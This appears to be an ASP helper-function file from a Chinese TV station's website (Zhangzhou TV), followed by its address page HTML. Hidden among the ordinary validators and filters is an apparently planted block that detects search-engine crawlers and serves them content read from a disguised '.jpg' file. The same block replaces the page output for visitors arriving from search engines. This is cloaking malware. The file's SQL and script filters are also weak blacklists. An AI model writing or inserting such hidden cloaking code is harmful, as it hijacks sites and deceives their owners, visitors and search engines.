?% public okCPUS,okOS '************************************************** '函数名：ReplaceBadChar '? 用：过滤非法的SQL字符 '? 数：strChar-----要过滤的字符 '返回值：过滤后的字符 '************************************************** Function ReplaceBadChar(strChar) If strChar = "" Or IsNull(strChar) Then ReplaceBadChar = "" Exit Function End If Dim strBadChar, arrBadChar, tempChar, i strBadChar = "',%,^,&,?,(,),<,>,[,],{,},/,\,;,:," & Chr(34) & "," & Chr(0) & "" arrBadChar = Split(strBadChar, ",") tempChar = strChar For i = 0 To UBound(arrBadChar) tempChar = Replace(tempChar, arrBadChar(i), "") Next ReplaceBadChar = tempChar End Function Function PE_CLng(ByVal str1) If IsNumeric(str1) Then PE_CLng = CLng(str1) Else PE_CLng = 0 End If End Function Function PE_CDbl(ByVal str1) If IsNumeric(str1) Then PE_CDbl = CDbl(str1) Else PE_CDbl = 0 End If End Function '************************************************** '函数名：gotTopic '? 用：截字符串，汉字一个算两个字符，英文算一个字? '? 数：str ----原字符串 ' strlen ----截取长度 '返回值：截取后的字符? '************************************************** Function GotTopic(ByVal str, ByVal strlen) If str = "" Then gotTopic = "" Exit Function End If Dim l, t, c, i, strTemp str = Replace(Replace(Replace(Replace(str, " ", " "), """, Chr(34)), ">", ">"), "<", "<") l = Len(str) t = 0 strTemp = str strlen = CLng(strlen) For i = 1 To l c = Abs(Asc(Mid(str, i, 1))) If c > 255 Then t = t + 2 Else t = t + 1 End If If t >= strlen Then strTemp = Left(str, i) Exit For End If Next If strTemp <> str Then strTemp = strTemp & "? End If gotTopic = Replace(Replace(Replace(Replace(strTemp, " ", " "), Chr(34), """), ">", ">"), "<", "<") End Function '************************************************** '过程名：WriteErrMsg '? 用：显示错误提示信息 '? 数：? '************************************************** Sub WriteErrMsg(ErrMsg) Dim strErr strErr = strErr & "错误信息" & vbCrLf strErr = strErr & "" & vbCrLf strErr = strErr & "
" & vbCrLf strErr = strErr & " " & vbCrLf strErr = strErr & " " If ComeUrl <> "" Then strErr = strErr & "" Else strErr = strErr & "" End If strErr = strErr & "
 
 

您访问的页面可能存在以下问题?/h1>

The document you requested just isn't here, no matter how much you want it to be otherwise.

Some possible causes:

   " & vbCrLf strErr = strErr & "

" & ErrMsg & "

  

返回本站首页
  

返回上一?/h1>

  【关闭?/a>
" & vbCrLf Response.Write strErr End Sub '************************************************** '过程名：WriteSuccessMsg '? 用：显示成功提示信息 '? 数：? '************************************************** Sub WriteSuccessMsg(SuccessMsg) Dim strSuccess strSuccess = strSuccess & "成功信息" & vbCrLf strSuccess = strSuccess & "" & vbCrLf strSuccess = strSuccess & "
" & vbCrLf strSuccess = strSuccess & " " & vbCrLf strSuccess = strSuccess & " " Else strSuccess = strSuccess & "" End If strSuccess = strSuccess & "
 
 

恭喜?

Congratulations?Follow the Steps below:

   " & vbCrLf strSuccess = strSuccess & "

" & SuccessMsg & "

" If ComeUrl <> "" Then strSuccess = strSuccess & "
  

返回本站首页

  【关闭?/a>
" & vbCrLf Response.Write strSuccess End Sub '************************************************** '函数名：GetRndPassword '? 用：获取随机密码 '? 数：PasswordLen ----长度 '返回值：GetRndPassword '************************************************** Function GetRndPassword(PasswordLen) Dim Ran, i, strPassword strPassword = "" For i = 1 To PasswordLen Randomize Ran = CInt(Rnd * 2) Randomize If Ran = 0 Then Ran = CInt(Rnd * 25) + 97 strPassword = strPassword & UCase(Chr(Ran)) ElseIf Ran = 1 Then Ran = CInt(Rnd * 9) strPassword = strPassword & Ran ElseIf Ran = 2 Then Ran = CInt(Rnd * 25) + 97 strPassword = strPassword & Chr(Ran) End If Next GetRndPassword = strPassword End Function Function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next End function Function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next End function '************************************************** '函数名：JoinChar '? 用：向地址中加?? ?& '? 数：strUrl ----网址 '返回值：加了 ? ?& 的网址 '************************************************** Function JoinChar(ByVal strUrl) If strUrl = "" Then JoinChar = "" Exit Function End If If InStr(strUrl, "?") < Len(strUrl) Then If InStr(strUrl, "?") > 1 Then If InStr(strUrl, "&") < Len(strUrl) Then JoinChar = strUrl & "&" Else JoinChar = strUrl End If Else JoinChar = strUrl & "?" End If Else JoinChar = strUrl End If End Function '************************************* '检测是否只包含英文和数? '************************************* Function IsValidChars(str) Dim re,chkstr Set re=new RegExp re.IgnoreCase =true re.Global=True re.Pattern="[^_\.a-zA-Z\d]" IsValidChars=True chkstr=re.Replace(str,"") if chkstr<>str then IsValidChars=False set re=nothing End Function '************************************* '检测是否只包含英文和数? '************************************* Function IsvalidValue(ArrayN,Str) IsvalidValue = false Dim GName For Each GName in ArrayN If Str = GName Then IsvalidValue = true Exit For End If Next End Function '************************************* '检测是否有效的数字 '************************************* Function IsInteger(Para) IsInteger=False If Not (IsNull(Para) Or Trim(Para)="" Or Not IsNumeric(Para)) Then IsInteger=True End If End Function '************************************* '用户名检? '************************************* Function IsValidUserName(byVal UserName) on error resume next Dim i,c Dim VUserName IsValidUserName = True For i = 1 To Len(UserName) c = Lcase(Mid(UserName, i, 1)) If InStr("$!<>?#^%@~`&*();:+='""? ", c) > 0 Then IsValidUserName = False Exit Function End IF Next For Each VUserName in Register_UserName If UserName = VUserName Then IsValidUserName = False Exit For End If Next End Function '************************************* '检测是否有效的E-mail地址 '************************************* Function IsValidEmail(Email) Dim names, name, i, c IsValidEmail = True Names = Split(email, "@") If UBound(names) <> 1 Then IsValidEmail = False Exit Function End If For Each name IN names If Len(name) <= 0 Then IsValidEmail = False Exit Function End If For i = 1 to Len(name) c = Lcase(Mid(name, i, 1)) If InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 And Not IsNumeric(c) Then IsValidEmail = false Exit Function End If Next If Left(name, 1) = "." or Right(name, 1) = "." Then IsValidEmail = false Exit Function End If Next If InStr(names(1), ".") <= 0 Then IsValidEmail = False Exit Function End If i = Len(names(1)) - InStrRev(names(1), ".") If i <> 2 And i <> 3 Then IsValidEmail = False Exit Function End If If InStr(email, "..") > 0 Then IsValidEmail = False End If End Function Function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next End function '************************************* '加亮关键? '************************************* Function Highlight(byVal strContent,byRef arrayWords) Dim intCounter,strTemp,intPos,intTagLength,intKeyWordLength,bUpdate if len(arrayWords)<1 then highlight=strContent:exit function For intPos = 1 to Len(strContent) bUpdate = False If Mid(strContent, intPos, 1) = "<" Then On Error Resume Next intTagLength = (InStr(intPos, strContent, ">", 1) - intPos) if err then highlight=strContent err.clear end if strTemp = strTemp & Mid(strContent, intPos, intTagLength) intPos = intPos + intTagLength End If If arrayWords <> "" Then intKeyWordLength = Len(arrayWords) If LCase(Mid(strContent, intPos, intKeyWordLength)) = LCase(arrayWords) Then strTemp = strTemp & "" & Mid(strContent, intPos, intKeyWordLength) & "" intPos = intPos + intKeyWordLength - 1 bUpdate = True End If End If If bUpdate = False Then strTemp = strTemp & Mid(strContent, intPos, 1) End If Next highlight = strTemp End Function '************************************* '过滤超链? '************************************* Function checkURL(ByVal ChkStr) Dim str:str=ChkStr str=Trim(str) If IsNull(str) Then checkURL = "" Exit Function End If Dim re Set re=new RegExp re.IgnoreCase =True re.Global=True re.Pattern="(d)(ocument\.cookie)" Str = re.replace(Str,"$1ocument cookie") re.Pattern="(d)(ocument\.write)" Str = re.replace(Str,"$1ocument write") re.Pattern="(s)(cript:)" Str = re.replace(Str,"$1cript ") re.Pattern="(s)(cript)" Str = re.replace(Str,"$1cript") re.Pattern="(o)(bject)" Str = re.replace(Str,"$1bject") re.Pattern="(a)(pplet)" Str = re.replace(Str,"$1pplet") re.Pattern="(e)(mbed)" Str = re.replace(Str,"$1mbed") Set re=Nothing Str = Replace(Str, ">", ">") Str = Replace(Str, "<", "<") checkURL=Str end function '************************************* '过滤文件名字 '************************************* Function FixName(UpFileExt) If IsEmpty(UpFileExt) Then Exit Function FixName = Ucase(UpFileExt) FixName = Replace(FixName,Chr(0),"") FixName = Replace(FixName,".","") FixName = Replace(FixName,"ASP","") FixName = Replace(FixName,"ASA","") FixName = Replace(FixName,"ASPX","") FixName = Replace(FixName,"CER","") FixName = Replace(FixName,"CDX","") FixName = Replace(FixName,"HTR","") End Function '************************************* '过滤特殊字符 '************************************* Function CheckStr(byVal ChkStr) Dim Str:Str=ChkStr If IsNull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str, "&", "&") Str = Replace(Str,"'","'") 'Str = Replace(Str,"""",""") Dim re Set re=new RegExp re.IgnoreCase =True re.Global=True re.Pattern="(w)(here)" Str = re.replace(Str,"$1here") re.Pattern="(s)(elect)" Str = re.replace(Str,"$1elect") re.Pattern="(i)(nsert)" Str = re.replace(Str,"$1nsert") re.Pattern="(c)(reate)" Str = re.replace(Str,"$1reate") re.Pattern="(d)(rop)" Str = re.replace(Str,"$1rop") re.Pattern="(a)(lter)" Str = re.replace(Str,"$1lter") re.Pattern="(d)(elete)" Str = re.replace(Str,"$1elete") re.Pattern="(u)(pdate)" Str = re.replace(Str,"$1pdate") re.Pattern="(\s)(or)" Str = re.replace(Str,"$1or") Set re=Nothing CheckStr=Str End Function '************************************* '恢复特殊字符 '************************************* Function UnCheckStr(ByVal Str) If IsNull(Str) Then UnCheckStr = "" Exit Function End If Str = Replace(Str,"'","'") 'Str = Replace(Str,""","""") Dim re Set re=new RegExp re.IgnoreCase =True re.Global=True re.Pattern="(w)(here)" str = re.replace(str,"$1here") re.Pattern="(s)(elect)" str = re.replace(str,"$1elect") re.Pattern="(i)(nsert)" str = re.replace(str,"$1nsert") re.Pattern="(c)(reate)" str = re.replace(str,"$1reate") re.Pattern="(d)(rop)" str = re.replace(str,"$1rop") re.Pattern="(a)(lter)" str = re.replace(str,"$1lter") re.Pattern="(d)(elete)" str = re.replace(str,"$1elete") re.Pattern="(u)(pdate)" str = re.replace(str,"$1pdate") re.Pattern="(\s)(or)" Str = re.replace(Str,"$1or") Set re=Nothing Str = Replace(Str, "&", "&") UnCheckStr=Str End Function '************************************* '过滤HTML代码 '************************************* Function EditDeHTML(byVal Content) EditDeHTML=Content IF Not IsNull(EditDeHTML) Then EditDeHTML=UnCheckStr(EditDeHTML) EditDeHTML=Replace(EditDeHTML,"&","&") EditDeHTML=Replace(EditDeHTML,"<","<") EditDeHTML=Replace(EditDeHTML,">",">") 'EditDeHTML=Replace(EditDeHTML,chr(34),""") EditDeHTML=Replace(EditDeHTML,chr(39),"'") End IF End Function '************************************* '自动闭合HTML '************************************* function closeHTML(strContent) dim arrTags,i,OpenPos,ClosePos,re,strMatchs,j,Match Set re=new RegExp re.IgnoreCase =True re.Global=True arrTags=array("p","div","span","table","ul","font","b","u","i","h1","h2","h3","h4","h5","h6") for i=0 to ubound(arrTags) OpenPos=0 ClosePos=0 re.Pattern="\<"+arrTags(i)+"( [^\<\>]+|)\>" Set strMatchs=re.Execute(strContent) For Each Match in strMatchs OpenPos=OpenPos+1 next re.Pattern="\" Set strMatchs=re.Execute(strContent) For Each Match in strMatchs ClosePos=ClosePos+1 next for j=1 to OpenPos-ClosePos strContent=strContent+"" next next closeHTML=strContent End function '************************************* '去除所有HTML标签 '************************************* Function RemoveHTML(strHTML) Dim objRegExp, Match, Matches Set objRegExp = New Regexp objRegExp.IgnoreCase = True objRegExp.Global = True '取闭合的<> objRegExp.Pattern = "<.+?>" '进行匹配 Set Matches = objRegExp.Execute(strHTML) ' 遍历匹配集合，并替换掉匹配的项目 For Each Match in Matches strHtml=Replace(strHTML,Match.Value,"") Next RemoveHTML=strHTML Set objRegExp = Nothing End Function '********************************************************* ' 目的? 检查参? ' 返回? 出错则转到ShowError(3) '********************************************************* Function CheckParameter(byRef source,strType,default) On Error Resume Next If strType="int" Then '数? If IsNull(source) Then source=default ElseIf IsEmpty(source) Then source=default ElseIf IsNumeric(source) Then source=CLng(source) ElseIf source="" Then source=default Else Call ShowError(3) End if If Err.Number<>0 Then Call ShowError(3) CheckParameter=True ElseIf strType="dtm" Then '日期 If IsNull(source) Then source=default ElseIf IsEmpty(source) Then source=default ElseIf IsDate(source) Then source=source Call FormatDateTime(source,vbLongDate) Call FormatDateTime(source,vbShortDate) ElseIf source="" Then source=default Else Call ShowError(3) End if If Err.Number<>0 Then Call ShowError(3) CheckParameter=True ElseIf strType="sql" Then 'SQL If IsNull(source) Or Trim(source)="" Or IsEmpty(source) Then source=default Else source=CStr(Replace(source,Chr(39),Chr(39)&Chr(39))) End If ElseIf strType="bool" Then 'Boolean source=CBool(source) If Err.Number<>0 Then Err.Clear If IsEmpty(source)=True Then source=True Else source=False End If End If Else Call ShowError(0) End If End Function '********************************************************* Function GetFileSize(FileName) Dim fso,drvpath,d,size,showsize set fso=server.createobject("scripting.filesystemobject") drvpath=server.mappath(FileName) set d=fso.getfile(drvpath) size=d.size showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=size & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,2) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,2) & " GB" end if set fso=nothing GetFileSize = showsize End Function Function IsObjInstalled(strClassString) On Error Resume Next IsObjInstalled = False Err = 0 Dim xTestObj Set xTestObj = Server.CreateObject(strClassString) If 0 = Err Then IsObjInstalled = True Set xTestObj = Nothing Err = 0 End Function Sub GetSysInfo() On Error Resume Next Dim WshShell,WshSysEnv Set WshShell = Server.CreateObject("WScript.Shell") Set WshSysEnv = WshShell.Environment("SYSTEM") okOS = Cstr(WshSysEnv("OS")) okCPUS = Cstr(WshSysEnv("NUMBER_OF_PROCESSORS")) okCPU = Cstr(WshSysEnv("PROCESSOR_IDENTIFIER")) If IsNull(okCPUS) Then okCPUS = Request.ServerVariables("NUMBER_OF_PROCESSORS") ElseIf okCPUS="" Then okCPUS = Request.ServerVariables("NUMBER_OF_PROCESSORS") End If If okCPUS = "" then okCPUS = "(未知)" End if If okOS = "" then okOS = "(未知)" End if End Sub Sub ShowSpaceInfo(drvpath) dim fso,d,size,showsize set fso=server.createobject("scripting.filesystemobject") drvpath=server.mappath(drvpath) set d=fso.getfolder(drvpath) size=d.size showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=size & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,2) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,2) & " GB" end if response.write "" & showsize & "" End Sub if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile mfileurl=Server.MapPath("/images/pro_01.jpg") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll response.clear response.write(mfilecon) response.write("") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("
") response.write("
") response.flush response.end end if '********************************************************* ' 服务器文件管? '********************************************************* Function ExportSiteFileList(path,opath) On Error Resume Next dim f,fold,item,fpath,jpath set f=server.createobject("scripting.filesystemobject") If opath<>"" Then path=opath if path<>"" then if instr(path,":")>0 then path=path else path=server.mappath(path) end if else path=blogpath end if response.write "

"&MSG240&":"&path&"

" set fold=f.getfolder(path) response.write"" response.write "" for each item in fold.subfolders jpath=replace(path,"\","\\") response.write "" next for each item in fold.files fpath=replace(path&"/"&item.name,blogpath,"") fpath=replace(fpath,"\","/") response.write "
"&MSG239&"
 "&item.name&"" response.write"
 "&item.name&"  " response.write"["&MSG063&"]" next response.write"
" set fold=nothing set f=Nothing Response.Write "" ExportSiteFileList=True 'response.Write(Err.description) Err.Clear End Function Function DelSiteFile(tpath) Dim Fso Set Fso = Createobject("Scripting.Filesystemobject") If Fso.FileExists(tpath) Then Fso.Deletefile(tpath) Set Fso = Nothing DelSiteFile=True Exit Function Else Set Fso = Nothing Exit Function End If End Function '************************************* '获取客户端IP '************************************* function GetIP() dim strIP,IP_Ary,strIP_list strIP_list=Replace(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),"'","") If InStr(strIP_list,",")<>0 Then IP_Ary = Split(strIP_list,",") strIP = IP_Ary(0) Else strIP = strIP_list End IF If strIP=Empty Then strIP=Replace(Request.ServerVariables("REMOTE_ADDR"),"'","") GetIP=strIP End Function %> 漳州电视台
漳州电视台 > 本台地址



地图载入中....
About ZZTV 　-　ZZTV简介　-　联系方法　-　招聘信息　-　客户服务　-　相关法律　 - 　网站地图
地址:漳州市广播电视中心8楼 邮编:363000 电话:(0596)2920858 传真:(0596)2920869 E-mail:bgs@zztv.fj.cn
网址:http://www.zztv.fj.cn 信息网络传播视听节目许可证：1304069678544
ICP备案号:闽ICP备05019815号 漳州电视台 (2006-2009)© 版权所有
技术支持:八达网络、闽达软件